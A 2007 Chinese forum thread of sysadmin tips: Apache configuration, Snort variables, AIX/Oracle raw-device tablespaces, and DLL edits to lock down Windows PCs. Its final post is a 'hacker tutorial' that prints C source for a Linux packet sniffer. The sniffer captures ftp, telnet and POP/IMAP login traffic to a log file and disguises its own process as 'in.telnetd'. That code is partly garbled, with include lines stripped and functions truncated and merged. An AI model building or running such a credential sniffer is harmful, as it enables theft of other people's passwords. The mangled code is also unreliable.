免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: Ducktang1985
打印 上一主题 下一主题

【楼主:Ducktang1985 】网管知识大汇总,当好网管,来这里~~ [复制链接]

论坛徽章:
0
11 [报告]
发表于 2007-08-16 17:08 |只看该作者

加快应用启动速度:Vista增SuperFetch技术

提高应用程序的启动速度是过去两代Windows操作系统不懈努力的方向,新一代Windows Vista即将在年底隆重推出,微软称该问题将得到明显的改善。 \r\n  本月13日,微软执行官Jim Allchin宣布了Vista的又一个新重要功能-SuperFetch,它能加快应用程序载入的速度,通过访问如USB闪存等外围设备来扩大系统的虚拟内存。目前,加快载入速度的主要方法还是依靠将常用程序的数据保存在硬盘的某个片区中。 \r\n  Jim Allchin指出,使用了SuperFetch技术,常用程序的库系统代码将在操作系统正常启动的过程中就进行预加载。例如,在系统启动时Outlok程序的大部分已经载入了系统的内存中。当用户真正使用该应用程序时,只有软件的Container需要被载入。微软表示,这种方法能有减少80%的程序启动时间。这意味着,这项功能将在操作系统的后台运行,并采用了多线程的性能。有专家认为,目前在这种额外的预载入技术下,Vista的启动速度能加快多少还是未知;但对于双核的处理器,启动速度应该不会有太大的改善。 \r\n  SuperFetch的另一个功能,可以够推进整个系统的性能表现。Vista可以使用外围的的存储设备如闪存卡、记忆棒等,从而扩大虚拟内存的空间。如果用户连接了512M或者1G的记忆棒,这些空间会立即添加到虚拟内存空间中。 \r\n  微软将在本周召开的软件开发者会议(PDC)详细介绍这些功能。SuperFetch将会在Vista的最终版中推出。

论坛徽章:
0
12 [报告]
发表于 2007-08-16 17:10 |只看该作者

教你在多个目录之中自动搜索需要的文件

使用Apache的Mod_Rewrite模块,可以做到在多目录之中,搜索需要的文件。 \r\n\r\n例如: \r\n网站网址为:http://www.test.com/ \r\n有一网站的根目录/为:/home/www/public_html/ \r\n其下有一个目录001为:/home/www/public_html/001/ \r\n\r\n现在有一个文件:test.html \r\n要求放在根目录/下面,或者/001/下面, \r\n都可以被http://www.test.com/test.html访问 \r\n类似的还有一些其他的文件。 \r\n\r\n使用rewrite,可以很简单的达到这个要求: \r\n\r\n\r\n代码: \r\nRewriteEngine on \r\n\r\n#检查根目录/下面是否存在请求的文件 \r\nRewriteCond         /home/www/public_html/%{REQUEST_FILENAME}  -f \r\n#如果存在,则直接使用该文件 \r\nRewriteRule  ^(.+)  /home/www/public_html/$1  [L] \r\n\r\n#如果根目录/下面不存在请求的文件,则检查目录/001/下面是否存在请求的文件 \r\nRewriteCond         /home/www/public_html/001/%{REQUEST_FILENAME}  -f \r\n#如果存在,则直接使用该文件 \r\nRewriteRule  ^(.+)  /home/www/public_html/001/$1  [L] \r\n\r\nRewriteRule   ^(.+)  -  [PT]

论坛徽章:
0
13 [报告]
发表于 2007-08-16 17:11 |只看该作者

如何定义嗅探器的配置变量?

嗅探器有许多配置变量和选项,其中最主要的两个是$HOME_NET和$EXTERNAL_NET。\r\n  \r\n  $HOME_NET是定义网络或你想要保护的网络的变量,$EXTERNAL_NET是定义你所连接的外部的不可信的网络的变量。这些变量几乎用于所有的规则,为数据包的源和目的指定标准。\r\n  \r\n  两个变量的默认值都是“任何”,含义与字面意思相似。设置$HOME_NET变量几乎不需要动脑子。把它设置为你要保护的一个或多个网络,正如snort.conf配置文件所示。\r\n  \r\n  $EXTERNAL_NET有一点复杂,它的配置可分为两类。第一类是设置为默认的“任何”,这适用于大多数情况。第二类是设置为!$HOME_NET,意思是所有不包括在$HOME_NET之中的网络,因为这种设置减少了错判,可以多少提高一点嗅探器的效率。但是这样配置可能会漏掉内部到内部的攻击(例如$HOME_NET到$HOME_NET)。根据你所知道的调查,60%到80%的攻击来自内部,所以我建议把$EXTERNAL_NET设置为“任何”。此外,如果$HOME_NET设置为“任何”,一定不能把$EXTERNAL_NET设置为!$HOME_NET,以为这等效于将$EXTERNAL_NET设置为“无”。\r\n  \r\n  有许多其他变量定义DNS、SMTP、HTTP、SQL、Telnet、SNMP和AIM服务器、HTTP、SHELLCODE以及Oracle端口。所有服务器变量的默认值都是$HOME_NET,这是要将$HOME_NET设置正确的另一个原因。这会工作得很好,但是你会发现如果更细致地设置这些变量,可以减少错判。你应该审查端口变量,以免使用了非标准端口,但是你也可以置之不理。 互联网技术在线 收集整理

论坛徽章:
0
14 [报告]
发表于 2007-08-16 17:12 |只看该作者

告诉你Apache是怎样启动的

如果配置文件中Listen的定义为默认的80端口(或其他1024以下的端口),那么启动Apache将需要root权限以将它绑定在这个特权端口上。一旦服务器开始启动并完成了一些诸如打开日志文件之类的操作,它将创建很多子进程来完成一些诸如侦听和回应客户端请求的工作。httpd主进程仍然以root用户的权限运行,而它的子进程将以一个较低权限的用户运行。这将由你选择的多道处理模块进行控制。 \r\n\r\n启动httpd执行文件的推荐方法是使用apachectl控制脚本。 此脚本设置了在某些操作系统中正常运行httpd所必需的环境变量。 apachectl会传递命令行的所有参数, 因此所有httpd的选项多半也可以用于apachectl。 你可以直接修改apachectl脚本, 改变头部的HTTPD变量使之指向httpd文件的正确位置, 也可以设置任意命令行参数,使之总是有效。 \r\n\r\nhttpd被调用后第一个要做的事情是找到并读取配置文件httpd.conf。此文件的位置是在编译时设定的,但也可以象下面这样在运行时用 -f 命令行可选项来指定: \r\n/usr/local/apache/bin/httpd -f /usr/local/apache/conf/httpd.conf \r\n\r\n如果启动时一切都很正常,服务器将与终端分离并几乎同时出现平时的命令行提示符。这代表着服务器已经启动并开始运行。然后你就可以用你的浏览器去连接你的服务器来查看DocumentRoot目录下的测试文档及其页面链接里的其它文档的本地拷贝。 \r\n\r\n启动时发生的错误 \r\n如果Apache在启动过程中产生了致命错误,它将在退出前把描述这个错误的信息显示在终端上或者写入到ErrorLog中。一个最常产生的错误信息是“Unable to bind to Port ...”。这个信息主要由以下原因造成: \r\n\r\n想由一个特权端口启动服务但没有以root用户登录,或 \r\n启动服务时已经有另外的Apache实例在运行或其他的web服务器已经绑定了同样的端口。 \r\n更多问题的解决办法,请参见Apache的FAQ。 \r\n\r\n随系统启动 \r\n如果你希望你的服务器在系统重启后仍保持运行状态, 你应该把httpd或者apachectl的调用加入到你的系统启动文件中 (典型文件为rc.local或rc.N目录下的某一文件)。 这将会以root权限启动Apache。当然,在此之前, 你必须保证你的服务器已经完成了安全和访问权限的设定。 \r\n\r\napachectl脚本被设计为可以用作SysV初始化脚本, 它接受start, restart, 和stop参数, 并把它们转译为httpd的对应信号, 所以通常都可以连接apachectl到适当的初始目录, 但是需要检查你的系统对此的精确要求。 \r\n\r\n  我使用服务器多半是FreeBSD系统,所以在FreeBSD之中,要开机启动Apache,一般是在/usr/local/etc/rc.d/里面建立apache.sh脚本,内容如下: \r\n代码: \r\n\r\n#!/bin/sh \r\n###FileName=Apache.sh \r\n###Author=HonestQiao \r\n\r\nPREFIX=/usr/local/apache2 \r\n\r\ncase \"$1\" in \r\nstart) \r\n        [ \"ssl\" = \"ssl\" -a -f \"$PREFIX/etc/apache2/ssl.crt/server.crt\" ] && SSL=ssl \r\n        [ -x ${PREFIX}/sbin/apachectl ] && ${PREFIX}/sbin/apachectl start${SSL} > /dev/null && echo -n \' apache2\' \r\n        ;; \r\nstop) \r\n        [ -r /var/run/httpd.pid ] && ${PREFIX}/sbin/apachectl stop > /dev/null && echo -n \' apache2\' \r\n        ;; \r\n*) \r\n        echo \"Usage: `basename $0` {start|stop}\" >&2 \r\n        ;; \r\nesac \r\n\r\nexit 0 \r\n\r\n\r\n\r\n当然,你也可以在rc.local里面设置Apache 的启动,在rc.local里面添加 \r\n代码: \r\n###Apache \r\n/usr/local/apache2/bin/apachectl start

论坛徽章:
0
15 [报告]
发表于 2007-08-16 17:13 |只看该作者

实现修改系统DLL文件禁用

修改系统DLL文件实现禁用(比较完全,请高手补充)\r\n大家一直在找修该DLL的教材 \r\n我知道很多初级的电脑新手和一些网吧非常需要这个教材,最近在网上收集整理出来和大家分享。 \r\n\r\n\r\n首先引导下系统 主要的些dll 基本上只要修改它们就可以实现很高的安全性\r\n首先请没改过DLL的朋友请下载个 EXESCOPE6.3 - 6.4工具 (在下面下载)\r\n1.Browselc.dll  IE所需要调用的库文件DLL 结构雏形就是它了\r\n\r\n2.Shdoclc.dll  系统窗口 及设置对话框 等等........ 比如 删除文件 重命名.\r\n\r\n3.Shell32.dll  和上面是同类的 \r\n\r\n4.Explorer.exe 开始菜单调用的程序 ......系统就上加载他进系统\r\n\r\n5.Cryptui.dll  IE控件下载 提示对话筐程序 \r\n\r\n\r\n现在我们就讲下 任何修改这些程序来达到禁止的目的\r\n一\r\n\r\n1. 禁止下载   打开 Shdoclc.dll 修改 资源--对话框---4416\r\n\r\n2. 禁止网页添加到收藏夹 Shdoclc.dll 修改 资源--对话框---21400\r\n\r\nEXESCOPE工具右边有个 “禁用”的选项 用这个功能 把要点确定的地方 禁止掉\r\n就可以 不用把 确定键给删除 如果以后要恢复 也方便\r\n\r\n二\r\n1. 禁止恶意网页加载控件 Cryptui.dll 修改 要同时修改5个地方才能完全禁止\r\n资源--对话框---130\r\n资源--对话框---230\r\n资源--对话框---4101\r\n资源--对话框---4104\r\n资源--对话框---4107\r\n\r\n三\r\n\r\n1.禁止系统删除 Shell32.dll 修改5个地方\r\n资源--对话框---1011\r\n资源--对话框---1012\r\n资源--对话框---1013\r\n资源--对话框---1021\r\n资源--对话框---1022\r\n\r\n2. 禁止文件被改名 修改 2个地方\r\n资源--对话框---1018\r\n资源--对话框---1019\r\n\r\n3. 禁止运行菜单\r\n资源--对话框---1018\r\n\r\n4. 禁止系统文件被挪动 修改3个地方\r\n资源--对话框---1014\r\n资源--对话框---1015\r\n资源--对话框---1016\r\n资源--对话框---1017\r\n\r\n四 禁止目标另存为 \r\n修改 Shdoclc.dll 文件\r\n以下3个地方  \r\n1 资源--菜单--258---257 (删除)\r\n2 资源--菜单--258---252 (删除)\r\n3 资源--菜单--24641--2268 (删除 这里有多项相同的 删除就可以了)\r\n\r\n\r\n五 禁止自定义文件夹选项\r\n修改 Shell32.dll 文件\r\n以下4个地方\r\n\r\n1 资源--菜单--215---28719 (删除)\r\n2 资源--菜单--216---28719 (删除)\r\n4 资源--菜单--217---28719 (删除)\r\n5 资源--菜单--216---28719 (删除)\r\n\r\n六 禁止IE文件夹选项\r\n修改 Browselc.dll 文件\r\n\r\n1 资源--菜单--263 (这里有多个请删除)---41251(删除)\r\n2 资源--菜单--266( 也有多个请删除)---41329 (删除)\r\n3 资源--菜单--268---41251 (删除)\r\n七. 禁止98 文件共享 控件\r\n\r\n修改 Msshrui.dll \r\n\r\n1`资源--- 对话框---- 1 --- AutoRadioButton: (禁止这里)\r\n2`资源--- 对话框---- 30 --- AutoRadioButton:(禁止掉)\r\n\r\n其他可以根据自己的想法 进行修改\r\n\r\n八. 禁止文件的打开方式\r\n  修改 Url.dll\r\n1`资源--- 对话框--- 7000 \r\n2`资源--- 对话框--- 7005`\r\n\r\n九. 禁止更改系统桌面\r\n  修改 Shdoc401.dll \r\n1`资源--- 对话框--- 29952--- PushButton:浏览 (禁止)\r\n   资源--- 对话框--- 29952--- PushButton:图案 (禁止)\r\n\r\n\r\n十 禁止 系统文件夹 自定义\r\n\r\n  修改 Shd401lc.dll    2处\r\n1 资源--- 对话框--- 29957\r\n2 资源--- 对话框--- 29958\r\n\r\n十一 禁止文件保存 路径及打开 \r\n\r\n修改 Comdlg32.dll\r\n1 资源--- 对话框--- 1547\r\n2  资源--- 对话框--- 1548

论坛徽章:
0
16 [报告]
发表于 2007-08-16 17:13 |只看该作者

告诉你用裸设备扩数据库表空间专题

硬件环境:小型机 IBM  P670,存储:IBM SHARK  F-20 \r\n软件环境:操作系统 AIX5.1   数据库oracle9i \r\n主题思想:物理卷PV->卷组VG->逻辑卷LV(类型:raw)->添加表空间 \r\n操作过程: \r\n一、 首先 #lsvg – o   //查看所有可用卷组 \r\ndatavg03 \r\ndatavg02 \r\ndatavg01 \r\ndatavg00 \r\nrootvg \r\n二、 然后对用来专为数据库准备的卷组进行如下操作: \r\n#lsvg –l datavg03 \r\ndatavg09: \r\nLV NAME             TYPE       LPs   PPs   PVs  LV STATE      MOUNT POINT \r\nlvdata0316          raw        64    64    1    open/syncd    N/A \r\nlvdata0317          raw        64    64    1    open/syncd    N/A \r\nlvdata0318          raw        64    64    1    closed/syncd  N/A \r\nlvdata0319          raw        64    64    1    closed/syncd  N/A \r\nlvdata0320          raw        64    64    1    closed/syncd  N/A \r\nlvdata0321          raw        64    64    1    closed/syncd  N/A \r\nlvdata0322          raw        64    64    1    closed/syncd  N/A \r\nlvdata0323          raw        64    64    1    closed/syncd  N/A \r\nlvdata0324          raw        64    64    1    closed/syncd N/A \r\nlvdata0325          raw        64    64    1    closed/syncd  N/A \r\nlvdata0326          raw        64    64    1    closed/syncd  N/A \r\nlvdata0327          raw        64    64    1    closed/syncd  N/A \r\nlvdata0328          raw        64    64    1    closed/syncd N/A \r\nlvdata0329          raw        64    64    1    closed/syncd N/A \r\nlvdata0330          raw        64    64    1    closed/syncd  N/A \r\n由显示可知:该卷组还有13个逻辑卷(裸设备)未被使用(如果在显示结果中没有closed/syncd状态的逻辑卷,可进入第3步)但如何知道这13个逻辑卷有多大容量呢,可以机使用如下命令: \r\n#lslv lvdata0315 \r\nLOGICAL VOLUME:     lvdata0309             VOLUME GROUP:   datavg09 \r\nLV IDENTIFIER:      0037de1d00004c0000000105cd3b6816.11 PERMISSION:     read/write \r\nVG STATE:           active/complete        LV STATE:       opened/syncd \r\nTYPE:               raw                    WRITE VERIFY:   off \r\nMAX LPs:            512                    PP SIZE:        64 megabyte(s) \r\nCOPIES:             1                      SCHED POLICY:   parallel \r\nLPs:                64                     PPs:            64 \r\nSTALE PPs:          0                      BB POLICY:      relocatable \r\nINTER-POLICY:       minimum                RELOCATABLE:    yes \r\nINTRA-POLICY:       middle                 UPPER BOUND:    32 \r\nMOUNT POINT:        N/A                    LABEL:          None \r\nMIRROR WRITE CONSISTENCY: on/ACTIVE \r\nEACH LP COPY ON A SEPARATE PV ?: yes \r\n可看到物理分区大小为64M,由于在同一卷组当中,所以可以知道所有物理分区大小都是64M,从lsvg - l datavg09 的显示结果可看到,PPs:LPs=1:1所以,每个逻辑卷的大小是:LPs×PP SIZE=64*64M=4096M=4G,进而可知还有13个4G的逻辑卷,未被使用。 \r\n但到此还不能完全保证就可以使用这13个逻辑卷对数据库的表空间进行扩充,因为我们还不知到这些裸设备的属主,所以还需要如下步骤: \r\n#cd /dev \r\n# ls –l  rlvdata03*  //显示以rlvdata03开头的文件属性 \r\ncrw-rw----   1 oracle   dba          58, 20 Aug 22 11:33 rlvdata0318 \r\ncrw-rw----   1 oracle   dba          58, 21 Aug 22 11:35 rlvdata0319 \r\ncrw-rw----   1 oracle   dba          58, 22 Aug 22 11:37 rlvdata0320 \r\ncrw-rw----   1 oracle   dba          58, 23 Aug 22 12:35 rlvdata0321 \r\ncrw-rw----   1 oracle   dba          58, 24 Aug 22 12:37 rlvdata0322 \r\ncrw-rw----   1 oracle   dba          58, 25 Aug 22 12:39 rlvdata0323 \r\ncrw-rw----   1 oracle   dba          58, 26 Aug 22 12:39 rlvdata0324 \r\ncrw-rw----   1 oracle   dba          58, 27 Aug 19 16:14 rlvdata0325 \r\n从查询结果可知,裸设备的属主已经是oracle了,oracle可以添加这些裸设备了,但如果裸设备的属主不是oracle而是其他用户,那么需要 \r\n#chown oracle:dab rlvdata03*   //要根据实际情况修改,千万小心 \r\n三、添加表空间 我们可以登录数据库了,使用有创建或修改表空间权限的用户登录数据库(有多种方法),我们以sqlplus为例: \r\n   #su - oracle \r\n   $ sqlplus /nolog \r\n\r\nSQL*Plus: Release 9.2.0.5.0 - Production on Mon Aug 22 12:49:55 2005 \r\n\r\nCopyright (c) 1982, 2002, Oracle Corporation.  All rights reserved. \r\n\r\nSQL>conn /as sysdba \r\nConnected. \r\nSQL>alter tablespace ts_index add datafile \r\n2 ‘/dev/rlvdata0318’ size 4090;  //size 是4090而不是4096,如果4096全部使用的话,容易出错 \r\nSQL> Tablespace altered \r\n可以反复以上操作,完成其它裸设备的添加,从而达到表空间扩充的目的。 \r\n  但是如果以上13个逻辑卷还不能满足扩充需求,那么可以继续以下步骤 \r\n四、#lsvg  datavg09   //查看卷组信息和使用情况,看是否还有足够的空间 \r\n    VOLUME GROUP:   datavg09                 VG IDENTIFIER:  0037de1d00004c000000010 \r\n5cd3b6816 \r\nVG STATE:       active                   PP SIZE:        64 megabyte(s) \r\nVG PERMISSION:  read/write               TOTAL PPs:      2605 (166720 megabytes) \r\nMAX LVs:        256                      FREE PPs:       557 (35648 megabytes) \r\nLVs:            32                       USED PPs:       2048 (131072 megabytes) \r\nOPEN LVs:       16                       QUORUM:         3 \r\nTOTAL PVs:      5                        VG DESCRIPTORS: 5 \r\nSTALE PVs:      0                        STALE PPs:      0 \r\nACTIVE PVs:     5                        AUTO ON:        no \r\nMAX PPs per PV: 1016                     MAX PVs:        32 \r\nLTG size:       128 kilobyte(s)          AUTO SYNC:      no \r\nHOT SPARE:      no \r\n显示信息可以看到,该卷组目前还有35648M空间供使用,则可以进行如下操作: \r\n    #mklv -y  ‘lvdata0331’  - t  ‘raw’ datavg09 64   \r\n说明:在卷组datavg09上创建逻辑卷lvdata0331,逻辑卷的类型是raw,逻辑卷的lps是64 \r\n逻辑卷大小太大对会影响数据库性能,所以不宜创建过大的裸设备。 \r\n然后进行前面的‘三’节 \r\n   但是如果当前所有的卷组都已使用完,没有可以用来添加裸设备的卷组,那么还要,创建卷组。 \r\n五、创建卷组 在创建之前,我们首先看一下有没有可用的物理卷 \r\n   #lspv \r\nvpath53         000b273dbe31ff50                    datavg03 \r\nvpath54         000b273dbe320138                    datavg03 \r\nvpath55         000b273dbe320303                    datavg03 \r\nvpath56         000b273dbe320795                    None \r\nvpath57         000b273dbe320a46                    None \r\nvpath58         000b273dbe320c29                    None \r\n可以看到vpath56、vpath57、vpath58、还没有备卷组使用。由于当前环境的存储提供是磁盘阵列,所以vpath 是在阵列上指定了大小的,在小型机系统认到的所谓的“物理卷”(其实真正的物理卷,应该是 \r\nhdisk)。 \r\n# mkvg -f -y\'datavg04\' -s\'64\' \'-n\' vpath56 vpath57 vpath58 \r\n说明:用 vpath56 vpath57 vpath58 创建卷组datavg04,并且物理分区大小是64M \r\n卷组创建好后,重复前面的步骤即可完成。

论坛徽章:
0
17 [报告]
发表于 2007-08-16 17:14 |只看该作者

Sniffer--黑客教程

Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。\r\n  \r\n第一节 Sniffer简介\r\n\r\n  什么是以太网sniffing? \r\n\r\n  以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字\"username\"或\"password\"的包。\r\n\r\n  它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。\r\n\r\n  利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。\r\n\r\n  sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。\r\n\r\n  sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。\r\n    \r\n  有许多运行与不同平台上的sniffer程序。\r\n\r\n  Linux tcpdump \r\n  DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack \r\n\r\n  上面的这些程序,可以从互连网上找到。\r\n\r\n  使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。\r\n\r\n  通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。\r\n  \r\n第二节 一个sniffer源程序\r\n  \r\n  下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。\r\n\r\n\r\nQUOTE:\r\n  /* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/\r\n  #include  \r\n  #include  \r\n  #include  \r\n  \r\n  #include \r\n  \r\n  #include \r\n  #include \r\n  #include \r\n  #include \r\n  #include \r\n  \r\n  #include \r\n  \r\n  #include \r\n  \r\n  #include \r\n  #include \r\n  #include \r\n  #include \r\n  \r\n  int openintf(char *);\r\n  int read_tcp(int);\r\n  int filter(void);\r\n  int print_header(void);\r\n  int print_data(int, char *);\r\n  char *hostlookup(unsigned long int);\r\n  void clear_victim(void);\r\n  void cleanup(int);\r\n  \r\n  \r\n  struct etherpacket\r\n  {\r\n  struct ethhdr eth;\r\n  struct iphdr ip;\r\n  struct tcphdr tcp;\r\n  char buff[8192];\r\n  }ep;\r\n  \r\n  struct\r\n  {\r\n  unsigned long saddr;\r\n  unsigned long daddr;\r\n  unsigned short sport;\r\n  unsigned short dport;\r\n  int bytes_read;\r\n  char active;\r\n  time_t start_time;\r\n  } victim;\r\n  \r\n  struct iphdr *ip;\r\n  struct tcphdr *tcp;\r\n  int s;\r\n  FILE *fp;\r\n  \r\n  #define CAPTLEN 512\r\n  #define TIMEOUT 30\r\n  #define TCPLOG \"tcp.log\"\r\n  \r\n  int openintf(char *d) \r\n  { \r\n  int fd; \r\n  struct ifreq ifr; \r\n  int s; \r\n  fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); \r\n  if(fd  1) \r\n  { \r\n  if(filter()==0) continue; \r\n  x=x-54; \r\n  if(x protocol != 6) return 0; \r\n  if(victim.active != 0) \r\n  if(victim.bytes_read > CAPTLEN) \r\n  { \r\n  fprintf(fp, \"\\n----- [CAPLEN Exceeded]\\n\"; \r\n  clear_victim(); \r\n  return 0; \r\n  } \r\n  if(victim.active != 0) \r\n  if(time(NULL) > (victim.start_time + TIMEOUT)) \r\n  { \r\n  fprintf(fp, \"\\n----- [Timed Out]\\n\"; \r\n  clear_victim(); \r\n  return 0; \r\n  } \r\n  if(ntohs(tcp->dest)==21) p=1; /* ftp */ \r\n  if(ntohs(tcp->dest)==23) p=1; /* telnet */ \r\n  if(ntohs(tcp->dest)==110) p=1; /* pop3 */ \r\n  if(ntohs(tcp->dest)==109) p=1; /* pop2 */ \r\n  if(ntohs(tcp->dest)==143) p=1; /* imap2 */ \r\n  if(ntohs(tcp->dest)==513) p=1; /* rlogin */ \r\n  if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ \r\n  if(victim.active == 0) \r\n  if(p == 1) \r\n  if(tcp->syn == 1) \r\n  { \r\n  victim.saddr=ip->saddr; \r\n  victim.daddr=ip->daddr; \r\n  victim.active=1; \r\n  victim.sport=tcp->source; \r\n  victim.dport=tcp->dest; \r\n  victim.bytes_read=0; \r\n  victim.start_time=time(NULL); \r\n  print_header(); \r\n  } \r\n  if(tcp->dest != victim.dport) return 0; \r\n  if(tcp->source != victim.sport) return 0; \r\n  if(ip->saddr != victim.saddr) return 0; \r\n  if(ip->daddr != victim.daddr) return 0; \r\n  if(tcp->rst == 1) \r\n  { \r\n  victim.active=0; \r\n  alarm(0); \r\n  fprintf(fp, \"\\n----- [RST]\\n\"; \r\n  clear_victim(); \r\n  return 0; \r\n  } \r\n  if(tcp->fin == 1) \r\n  { \r\n  victim.active=0; \r\n  alarm(0); \r\n  fprintf(fp, \"\\n----- [FIN]\\n\"; \r\n  clear_victim(); \r\n  return 0; \r\n  } \r\n  return 1; \r\n  } \r\n  \r\n  int print_header(void) \r\n  { \r\n  fprintf(fp, \"\\n\"; \r\n  fprintf(fp, \"%s => \", hostlookup(ip->saddr)); \r\n  fprintf(fp, \"%s [%d]\\n\", hostlookup(ip->daddr), ntohs(tcp->dest)); \r\n  } \r\n  \r\n  int print_data(int datalen, char *data) \r\n  { \r\n  int i=0; \r\n  int t=0; \r\n  \r\n  victim.bytes_read=victim.bytes_read+datalen; \r\n  for(i=0;i != datalen;i++) \r\n  { \r\n  if(data[ i ] == 13) { fprintf(fp, \"\\n\"; t=0; } \r\n  if(isprint(data[ i ])) {fprintf(fp, \"%c\", data[ i ]);t++;} \r\n  if(t > 75) {t=0;fprintf(fp, \"\\n\";} \r\n  } \r\n  } \r\n  \r\n  main(int argc, char **argv) \r\n  { \r\n  sprintf(argv[0],\"%s\",\"in.telnetd\"; \r\n  s=openintf(\"eth0\"; \r\n  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); \r\n  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); \r\n  signal(SIGHUP, SIG_IGN); \r\n  signal(SIGINT, cleanup); \r\n  signal(SIGTERM, cleanup); \r\n  signal(SIGKILL, cleanup); \r\n  signal(SIGQUIT, cleanup); \r\n  if(argc == 2) fp=stdout; \r\n  else fp=fopen(TCPLOG, \"at\"; \r\n  if(fp == NULL) { fprintf(stderr, \"cant open log\\n\");exit(0);} \r\n  clear_victim(); \r\n  for(;;) \r\n  { \r\n  read_tcp(s); \r\n  if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); \r\n  fflush(fp); \r\n  } \r\n  } \r\n  \r\n  char *hostlookup(unsigned long int in) \r\n  { \r\n  static char blah[1024]; \r\n  struct in_addr i; \r\n  struct hostent * he; \r\n  \r\n  i.s_addr=in; \r\n  he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); \r\n  if(he == NULL) \r\n  strcpy(blah, inet_ntoa(i)); \r\n  else \r\n  strcpy(blah,he->h_name);\r\n  \r\n  return blah; \r\n  } \r\n  \r\n  void clear_victim(void) \r\n  { \r\n  victim.saddr=0; \r\n  victim.daddr=0; \r\n  victim.sport=0; \r\n  victim.dport=0; \r\n  victim.active=0; \r\n  victim.bytes_read=0; \r\n  victim.start_time=0; \r\n  } \r\n  \r\n  void cleanup(int sig) \r\n  { \r\n  fprintf(fp, \"Exiting...\\n\"); \r\n  close(s); \r\n  fclose(fp); \r\n  exit(0); \r\n  }\r\n  \r\n  下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。\r\n\r\n  它们在头文件中的定义如下:\r\n\r\n\r\nQUOTE:\r\n  struct ethhdr \r\n  {\r\n  unsigned char h_dest[ETH_ALEN]; /* destination eth addr */\r\n  unsigned char h_source[ETH_ALEN]; /* source ether addr */\r\n  unsigned short h_proto; /* packet type ID field */\r\n  };\r\n  \r\n  struct iphdr\r\n  {\r\n  #if __BYTE_ORDER == __LITTLE_ENDIAN\r\n  u_int8_t ihl:4;\r\n  u_int8_t version:4;\r\n  #elif __BYTE_ORDER == __BIG_ENDIAN\r\n  u_int8_t version:4;\r\n  u_int8_t ihl:4;\r\n  #else\r\n  #error \"lease fix \"\r\n  #endif\r\n  u_int8_t tos;\r\n  u_int16_t tot_len;\r\n  u_int16_t id;\r\n  u_int16_t frag_off;\r\n  u_int8_t ttl;\r\n  u_int8_t protocol;\r\n  u_int16_t check;\r\n  u_int32_t saddr;\r\n  u_int32_t daddr;\r\n  /*The options start here. */\r\n  };\r\n  \r\n  struct tcphdr\r\n  {\r\n  u_int16_t source;\r\n  u_int16_t dest;\r\n  u_int32_t seq;\r\n  u_int32_t ack_seq;\r\n  #if __BYTE_ORDER == __LITTLE_ENDIAN\r\n  u_int16_t res1:4;\r\n  u_int16_t doff:4;\r\n  u_int16_t fin:1;\r\n  u_int16_t syn:1;\r\n  u_int16_t rst:1;\r\n  u_int16_t psh:1;\r\n  u_int16_t ack:1;\r\n  u_int16_t urg:1;\r\n  u_int16_t res2:2;\r\n  #elif __BYTE_ORDER == __BIG_ENDIAN\r\n  u_int16_t doff:4;\r\n  u_int16_t res1:4;\r\n  u_int16_t res2:2;\r\n  u_int16_t urg:1;\r\n  u_int16_t ack:1;\r\n  u_int16_t psh:1;\r\n  u_int16_t rst:1;\r\n  u_int16_t syn:1;\r\n  u_int16_t fin:1;\r\n  #else\r\n  #error \"Adjust your  defines\"\r\n  #endif\r\n  u_int16_t window;\r\n  u_int16_t check;\r\n  u_int16_t urg_ptr;\r\n  };\r\n  \r\n  上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。\r\n  \r\n  随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:\r\n\r\n\r\nQUOTE:\r\n  struct ifreq\r\n  {\r\n  #define IFHWADDRLEN 6\r\n  #define IFNAMSIZ 16\r\n  union\r\n  {\r\n  char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. \"en0\". */\r\n  } ifr_ifrn;\r\n  \r\n  union\r\n  {\r\n  struct sockaddr ifru_addr;\r\n  struct sockaddr ifru_dstaddr;\r\n  struct sockaddr ifru_broadaddr;\r\n  struct sockaddr ifru_netmask;\r\n  struct sockaddr ifru_hwaddr;\r\n  short int ifru_flags;\r\n  int ifru_ivalue;\r\n  int ifru_mtu;\r\n  struct ifmap ifru_map;\r\n  char ifru_slave[IFNAMSIZ]; /* Just fits the size */\r\n  __caddr_t ifru_data;\r\n  } ifr_ifru;\r\n  };\r\n  \r\n  